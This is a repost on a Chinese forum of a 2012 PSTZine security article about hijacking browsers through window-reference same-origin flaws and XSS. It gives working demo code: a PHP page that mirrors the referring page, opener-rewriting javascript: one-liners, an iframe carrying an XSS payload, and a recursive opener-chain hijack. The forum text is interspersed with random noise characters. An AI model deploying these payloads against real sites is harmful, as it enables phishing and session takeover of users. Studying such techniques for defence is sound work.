找回密码
 立即注册
查看: 2244|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
6 v( r+ f  l7 d" [0 F  a7 r; ~ 1 ?: @3 F' m5 R  A+ k) Y( E. c, K
                       Issue 0x03, Phile #0x05 of 0x07
2 @( \* f8 _' V. q2 j 0 p) l; q5 E3 C) ~

6 r  j' @5 e; u2 M+ J|=---------------------------------------------------------------------------=|
5 m6 `# x8 E$ O8 p5 q! {, r% W|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
, q+ P5 ]1 r4 N3 }6 q+ s% j|=---------------------------------------------------------------------------=|- ~. D$ [5 _" O+ e. O8 ^8 I7 V
|=---------------------------------------------------------------------------=|
+ D7 x# f$ ~) q7 x0 H$ L|=------------------------=[      By rayh4c     ]=---------------------------=|
& ~/ Z. O$ V3 [! y" I6 w* P|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|6 k' Z# ?5 l2 J
|=---------------------------------------------------------------------------=|
1 \6 F+ _/ Q- \3 M2 W  S5 L2 z3 |8 E
6 L/ ^+ M7 ~" B. i2 x# ]+ W: ?8 L
[目录]; r. j/ A: \3 Z

' u/ {7 @+ s2 h# y1. 前言
3 X' b7 k( a% F3 d3 [# S# t$ D2. 同源策略简叙
& H, F( a8 _3 l9 ?5 X3. 理解window对象的同源策略
  E& |* X! A# x: L- E+ ?$ Z4. 窗口引用功能中的同源策略漏洞! n6 Q/ [# Q% y6 Y8 p" _
  4.1 父窗口引用子窗口的同源策略问题
- Y) y# U5 |% P2 N  4.2 子窗口引用父窗口的同源策略问题; T5 }( W+ t( ?. b! ^& k8 d
5. 利用窗口引用漏洞劫持浏览器! S/ J7 k- b6 h' c' W, _! `
6. 利用XSS漏洞劫持浏览器$ I: a- s6 i7 V
  6.1 正向跨窗口劫持2 b5 m2 |! v  |) ]; `
  6.2 反向跨窗口劫持! Q0 k# U5 D! G) o9 M' }; v/ l
  6.3 极度危险的跨框架窗口引用劫持. Z) Q" @. [: h$ \, U: L* R+ M/ h
  6.4 极度危险的正反向跨窗口递归劫持
* t9 q" d  o3 H9 e' B  g9 [& [1 y5 \  6.5 完全控制浏览器
  z: b0 ~- b6 I) V& l7. 后记  e: ]& v7 \* v1 _7 ]) |0 \7 V/ v
8. 参考* o% ]0 J; T* M4 D! w$ O3 D
6 N) n/ j) r4 W  B$ E; x5 L
" L8 f; z  f4 I% c1 z' d
一、前言/ c9 l+ e1 W6 ?1 H4 g

$ i9 |/ N& `( Z8 [7 q4 n+ s5 ^    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
. |3 R* L+ H' C9 o$ b- e' m" |友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
0 o. `( ^2 v4 e% l0 a" a劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
* K0 P3 i0 S5 a) y; F9 Y2 i# u6 a条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。: H# n; d, V; z+ }1 O5 S

- c2 U* @/ g9 v" X$ c. G3 I* P' j0 Z: d3 y  I- [7 A
二、同源策略简叙1 m. f0 |# d. p0 H* g! }/ W- |
  B) E, P' A+ y* V- {; h
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
, q2 ~- }3 }/ \: @4 `; Y/ j" k& Q从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# D9 J) x! @: y, P& Q7 }曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木: r6 N) }+ h' l3 g7 h
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; C8 ^/ [8 P" L9 B% U/ n# d  P: J漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。/ n) Z/ @) W* X5 a" ?
9 s1 `( M8 z6 k9 X+ r& m) p7 q
  P) W- X. U* C  Z* S
三、理解window对象的同源策略
% A, E% O. m! ^( L4 i
6 t# `6 U; n6 E    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对+ K, y6 K! f* @2 T
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:5 {* |( [+ i: E% r/ ^2 s

' o3 O" |( O- f) v/ X--code-------------------------------------------------------------------------
( A* e& [" R, p: T  U<script language="javascript">. r8 P) B2 j' |) h& ?
for(p in window) document.write(p+"<br>");
. u+ {/ E2 v( Y: s' H0 X0 ~</script>3 b2 h" C* T9 Q' {
-------------------------------------------------------------------------------
9 K) S8 \% ^. D9 e# |: L7 U# i. }8 J0 U1 V9 m' J
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方" H) N  l5 b9 @  k
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,% M5 P% O& {$ V6 J
这些属性和方法就必须遵循同源策略。  s0 m: V" x0 ]8 a; W% \+ i

" Z4 ~+ C3 R! w" S6 X* @9 q8 @    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那/ v9 f' \  s1 y4 s! d5 Z2 X7 R3 X
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须! z/ Y% U5 T9 y. @) H3 U
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这# W' X( t7 x; o. \: X5 |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( N6 R  L) I) N2 u  P) B值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location5 F$ R2 S+ g& q/ Y/ E- X# `
属性并没有被拒绝访问。. w5 t* s' r: O1 m4 v
0 _3 _/ l2 L' C$ O
--demo.html--------------------------------------------------------------------
, {- h; W. b* r' h<script language="javascript">   
: f9 l% u9 E/ Gfunction allPrpos(obj) {      
9 e% z% u2 p1 I% B, R% P      var props = "<table><tr><td>名称</td><td>值</td>";           
' ~; o8 B* k2 ?      for(var p in obj){          " \& y6 t: i: D5 r
            if(typeof(obj[p])=="function"){   9 J, k& k  o7 K, L: N9 o
                   obj[p]();   
/ r) N/ S; C. g4 I6 U0 K: q4 S             }else{                      ; T* X4 V5 ~3 n; r. x
                  try   
1 I0 f$ d7 }: r% t                   {   + O+ ^8 j6 R0 c# \
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
7 e5 W7 V5 S6 t- W: Y2 e                   }   " j$ y, m7 ?3 L4 Y6 d" _7 ?" I
                  catch (ex)   8 e9 F! L- I2 w9 G& i+ F4 @# A
                   {   6 @6 v3 P- C1 x% Z$ [$ [
                   9 f8 d5 f9 ~7 x3 I7 }9 r" S( V
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   * C( ^: i; I7 y) g1 _
                   }   4 w7 @, O$ l2 ~6 t
                       
0 {3 H4 v5 b' U             }   : C+ p5 i3 }& O4 s4 ~
       }   
* Y9 {$ Y5 n# x- p! V! W3 q   5 z: r) P8 X# U" D
       document.write(props+"</table>");   
9 Q! P2 v: g3 p$ p2 z}   4 i0 m+ O' t9 D5 r/ Y8 v' M0 N% g
   ! l# }7 \2 b) I/ H2 a9 S) D( r. S$ [
function createWin() {
" T! x  ]- C9 n' f        newWin = window.open ("http://www.google.com");  ( C& P# f; X+ j$ D
        setTimeout(function(){allPrpos(newWin)},2000); 8 E/ I9 u# R0 B' J) T% k% A
} " H( a2 B/ D$ f# U6 p1 V
5 `. _) I2 a4 S& L
</script>
' Z1 D9 E; @/ Z6 ^' \. Y4 J. q
- r+ I- z! }7 d<button onclick='createWin()'>创建一个非同源子窗口测试</button>& t- v4 h$ R& v7 s2 X& N6 @1 c
-------------------------------------------------------------------------------7 |# c6 Y$ Z! x+ N" y; s) a
: E. @+ Z7 A) @3 R

' z9 r% s% }# n8 R, d四、窗口引用功能中的同源策略漏洞  }8 o6 z9 I7 g6 {/ ?8 ]

/ s- D: K6 t2 S9 m$ Y4.1 父窗口引用子窗口的同源策略问题
: r8 k9 k  s+ V2 K1 T$ R, ]6 T1 x! Z. _, Q0 d9 w- t
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
- Q% i* f% N6 o* z! t5 i& Z但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道0 h" |1 J/ s; C
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
9 |( J# r1 D6 v/ [$ P行测试,会发现父窗口可以控制非同源子窗口location属性值。$ K# Q) I6 [3 d' g6 W
  T% _; |. B9 j! D( h  m1 @
--vul1.html--------------------------------------------------------------------
% G) r& R2 q4 q; u6 u8 i# q<script language="javascript">
/ d- w( ]$ G  H3 }function createWin() {  7 [0 R/ U& r6 f* K
        newWin = window.open ("http://www.google.com");  9 _% t. G2 `! w" K1 }1 U
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
3 g$ {& x8 n  r! I} , v* f  h) w5 }. s
</script>+ N5 G0 I9 h& s9 y

% \5 |2 L3 ^( G  a<button onclick='createWin()'>创建一个非同源子窗口测试</button>, X" ]  U, S# Q0 |, |3 |
-------------------------------------------------------------------------------& S: d" c8 m! Z- m0 _
8 D1 L2 J) M. f; V) ^6 `8 l

4 J( K, X3 L8 S# h4.2 子窗口引用父窗口的同源策略问题5 H" `/ z( q. H* r
% B- `6 k! V- M: G) M/ f6 E
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使, z& G9 E+ H: {; O
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
! Y. p  W8 W2 Q+ G+ `# M可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定* q/ Z* o  Y) `$ d2 W
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。8 N! Q, B2 i/ j, N

) V% R" d( ~7 E0 V--code-------------------------------------------------------------------------
1 W3 @/ ]" X3 l
7 f) \9 Y# C9 H! V2 A8 o. yjavascript:window.opener.location = "http://www.80sec.com";void(0);) H+ E/ ~9 C4 K

# h7 ?1 H! |0 c. R; u% Y* w$ V-------------------------------------------------------------------------------, C' D! P  i: e0 h# I, F6 o4 U
# \! M3 |5 d/ B5 w

4 o1 S; ]4 P5 z% ?五、利用窗口引用漏洞劫持浏览器
( Q5 C" Y% }# P. C3 o8 j5 f: `6 x4 h+ h
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子( t# L: }- `/ ~9 u
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" F( v, k9 `5 L% W, y
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! B# g/ d$ _: N) F- S+ _% E: ^( a' @0 B+ y2 a6 k) o
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产( }3 |* j8 [  h. X9 A/ r" ?
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
  y8 e7 v; ^1 Z- {; [+ V% _8 \  R者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
6 y/ \3 u2 f& j后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
* y% Z/ b6 m# s: |会产生什么可怕的后果。
. Q6 x, q; T6 I2 y
  _" {, W4 U' z/ T. O% M3 ~    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
# I* b1 p; E; w# [们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php. X1 o# A4 @+ s% D. {7 y" ]2 f
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
! o' D  C* e# ^候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可1 o. W- n3 O$ L: j: M. ?
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
, e2 U9 d5 n! k& B( Z4 X" d0 x. I' E4 [
--hjk_ref.php------------------------------------------------------------------
; O) C2 W; ^. }9 ]3 U<?php5 S- B0 M5 O. {
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
7 M- e! Q/ X% \9 t$Url_Mirror = $_SERVER["HTTP_REFERER"];
# g! l0 C% v# E2 B3 B}
$ I6 A( l# c& z, g. X4 X/ X. u  tif(isset ($_GET['ref'])) {
$ h+ H8 Z( u* l% S$ Techo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
( g/ V1 o6 w6 x}
$ [. H" U/ T( b0 s$ _; y' p?>
6 f% ?' a4 y2 |* W. R- I6 Q' Z3 }3 y7 {% v7 J% Z- g( v
<script language="javascript">
  `0 u2 ^) t5 E; \) GsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         8 v* I1 @# A1 x
</script>: u: Z" |0 o0 Y, {  q& `. B
-------------------------------------------------------------------------------
. S, x! Z/ Z, @! n8 F' A9 E
" p( a% o3 G) \8 H8 J! p  @    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
$ z- r: N6 ^4 @# W8 X2 H: Y; X) K
& G% U2 W& l3 O* m! w" x7 ?* ?. x& D4 m8 r  t1 G
六、利用XSS漏洞劫持浏览器
4 \: b! J! ?  e" D( q' U, R
# T+ B$ g8 x: o. }3 K% h9 j% P9 `    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 w* @, e0 H: s; A" _持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
4 e# Q% f5 N) a; [$ AXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起: R9 h) L, m3 C( j2 Q9 Y8 D& f
讨论跨站师的终极技巧:
- _0 O5 u5 q7 x" f8 @: \  v8 L# R+ p* A) N1 V$ ^: q8 u
+ _5 E0 Z+ f: m' h" m7 r. n
6.1 正向跨窗口劫持6 s8 Q5 T, i: x9 c2 h! L! D7 i
1 n) k3 ^4 b/ u3 y8 |
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
; M$ m# A) y: D# O* l" g! O4 u2 S主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
* V% N/ @: E: |+ V4 ]# ~接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话( \! J- I: d: }' }
框脚本。
2 Q8 e0 S2 \* w' t' _4 c$ a  f4 V+ {# e6 d$ N# i
--hijack_open.js---------------------------------------------------------------0 q& @$ V7 O% G* P* }

5 ]  Q2 v8 L: u% N# S* |6 jjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);6 D; N7 N: P5 I) F# ^
( O  o6 F! U! ~6 [5 J5 ^4 l2 J
-------------------------------------------------------------------------------
. o- w0 G3 {! \) X7 Y$ v. U) \5 Z: u6 r* F
. B4 L2 J' N$ M6 K- K7 |4 c0 K2 N; b# Y# }
6.2 反向跨窗口劫持6 n8 x, E8 F* I4 P

# J9 ?( `2 b, M6 o" ~. }    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
& W, c2 a$ W0 O1 B" b, G0 U码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
9 o2 }' Q: ?! g- n% L/ W) [框脚本。
" e, h( K) J1 ~  k, d9 q1 @( R+ @5 G7 S4 K" p$ R/ D( {
--hijack_opener.js-------------------------------------------------------------& F0 j$ a( j; ]* A; g; n5 n' G
. b. r3 T6 {5 P9 J  [+ g" H
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
" h' P7 Q! P# v( ^- [$ O0 Y
0 N: u( X  l! |-------------------------------------------------------------------------------
* ^3 w# `# c' P) ^
. g5 i$ b: q2 P1 F2 z2 f* w. M+ G4 o: O2 X% ~
6.3 极度危险的跨框架窗口引用劫持
3 ?" c( h# j* \$ h  ^' n! d6 T2 ]7 f, p$ K
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞* R8 l. W0 M5 n2 h. q9 m
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就, ^: K! T- V$ V
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
/ J" Z9 m0 D- F8 r+ k非持久型的XSS,如下:3 H. U4 ]  c7 K+ I$ i* o( M+ v
& W: o0 b/ J" d& c$ L
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>: ]0 V) C& G7 N( S8 j& g

2 I% X- V5 F7 [9 y; a4 q    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
2 Y% y) H! N: {  c注入脚本。
/ R9 F6 N; p+ y7 a& V3 U5 Q; X7 @  r7 X: a- q, a1 V, T
--hijack_frame_opener.js-------------------------------------------------------8 Z2 U" F! \% U" Y8 y* R, C
<script>' ^/ A2 h' l- {  z1 [3 H4 B, T: f
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";0 C) `& b8 O* Y/ a
</script>
$ l9 z2 J. o5 p7 J$ ]# A-------------------------------------------------------------------------------# D4 c, M- L3 y- c
, O, Z5 R; n9 p2 N. H5 N  |
& p1 U) k$ ?6 u0 k( a
6.4 极度危险的正反向跨窗口递归劫持
& a" B6 i1 n' f
  g( S7 O" U1 q2 K" P; n    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
9 g2 N0 j7 A& w: b- c: T的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
5 f. ^9 `9 k0 i* R8 x异常处理规避之间跨域页面的访问异常,代码如下:
( F5 e( o2 B4 k8 a. @# Y. q/ ~& _5 a. H
--code-------------------------------------------------------------------------
% `9 O( @& x5 _9 b7 m: G; C. d! E  A& B
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
! E" C# o0 z7 d& I& z) ^4 g& X0 R
-------------------------------------------------------------------------------1 A" b9 e! T" O- q+ R

) ]0 v* I6 `/ F' h7 S, K    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可$ a: D# w0 r* d2 m+ z( e/ [
以劫持B域之前的A域页面,从而实现“隔空打击”。! x5 E, G& ]3 V# U& Z) R0 l
" ^' `. \: M+ f
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面+ X5 K' f. S3 o# Q8 |4 ]3 L
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。8 v% t4 g* z* X& U) |% h, E9 o

2 S6 `, M/ C7 }, t* g    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。2 |, `8 c0 e5 y; X! n
) _5 h4 o  o: |; [/ q
& @( e0 X! F4 L/ d
6.5 完全控制浏览器
1 X) C1 e* P4 A) z3 f) e
) ?- i9 {# S( r0 q    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 F) ]! d7 ]3 Q6 h% y9 g是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
* i1 I/ t& n! p' C( `2 p漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
1 J+ q4 d; }7 J" [而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再4 s* R9 m  N) J" {% ?% W+ [
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站/ K+ l$ Y% X1 V/ v0 Z! K% r6 m
师的终极目标 - 完全控制浏览器。
4 J) m% v, T; j" ^! ?$ {- l3 `, c& j5 b" D6 I6 ~: q
/ {5 J8 z2 H+ J" G4 Q: _
七、后记
2 @8 `( Z% H* B0 n) `# W) K
- Q* J0 p( l5 Q1 E. x+ p    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
- P; }( D/ K, h- k/ n( V与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
# ]1 C$ B  D% q过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。& ~0 K% t* E* S9 X: ?2 g
: U5 ^, N9 `+ x- P: N7 q. W5 y

) O! G8 a7 ^' z八、参考& B. d( y4 d1 O% n5 @, R
5 N+ m% f5 O' n' b* m: }& r
1. http://en.wikipedia.org/wiki/Same_origin_policy5 M2 a; @/ g/ P# h. H
2. http://code.google.com/p/browser ... licy_for_DOM_access. B" z" y9 f% g5 [1 b( u
3. http://www.w3.org/TR/Window/, b, k- n+ G, F# h, v) d/ L0 N: E, q* h
4. http://www.80sec.com/release/browser-hijacking.txt
8 q. \* k+ K$ [# N5 n6 I5. http://www.80sec.com/all-browser-security-alert.html; D2 p# t" W4 E  l1 S& k
6. http://www.80sec.com/ms08-058-attacks-google.html9 s1 F. ?. A. z. P* `6 c# v
& x0 s: H3 ]' g7 z, `  y/ B
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表